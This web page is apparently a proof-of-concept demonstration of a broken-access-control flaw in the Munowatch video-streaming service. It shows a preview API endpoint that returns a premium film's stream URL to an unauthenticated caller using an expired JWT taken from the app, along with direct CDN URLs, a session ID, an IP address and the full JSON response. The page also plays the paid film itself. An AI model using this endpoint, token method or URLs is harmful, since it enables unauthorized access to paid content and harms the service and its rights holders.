SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Defiant with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Defiant
Vj Muba Action 01h 14m 4 years ago

The blind "knife-catcher" Blind Cheng, who possesses great skills, meets Ni Yan, a restaurant girl who is brutally murdered and abused. Despite not wanting to intervene initially, he was gradually involved in a huge power of the dark strife, Blind Cheng began to embark on the road to seek justice and revenge, along the way, his true identity was also revealed.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/24707/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 39
video_name Defiant..mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 24707,
    "video_title": "Defiant",
    "description": " The blind \"knife-catcher\" Blind Cheng, who possesses great skills, meets Ni Yan, a restaurant girl who is brutally murdered and abused. Despite not wanting to intervene initially, he was gradually involved in a huge power of the dark strife, Blind Cheng began to embark on the road to seek justice and revenge, along the way, his true identity was also revealed.",
    "video_name": "Defiant..mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "39",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 14m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/961647805282.jpg",
    "tfilehistory": "",
    "category_id": 1,
    "language_id": 1,
    "recording_date": "2022-08-03",
    "age_id": "13 +",
    "location": 1,
    "tab_category_id": 1,
    "series_code": "24707",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "729.88 MB",
    "create_date": "2022-08-03 14:40:26",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 31,
    "video_status_id": 0,
    "network_id": "45.221.8.174",
    "user_access": "deny",
    "notification": "No",
    "secduration": "4472.000000",
    "issubscriber": false,
    "genre": "Action",
    "vjname": "Vj Muba",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "4 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}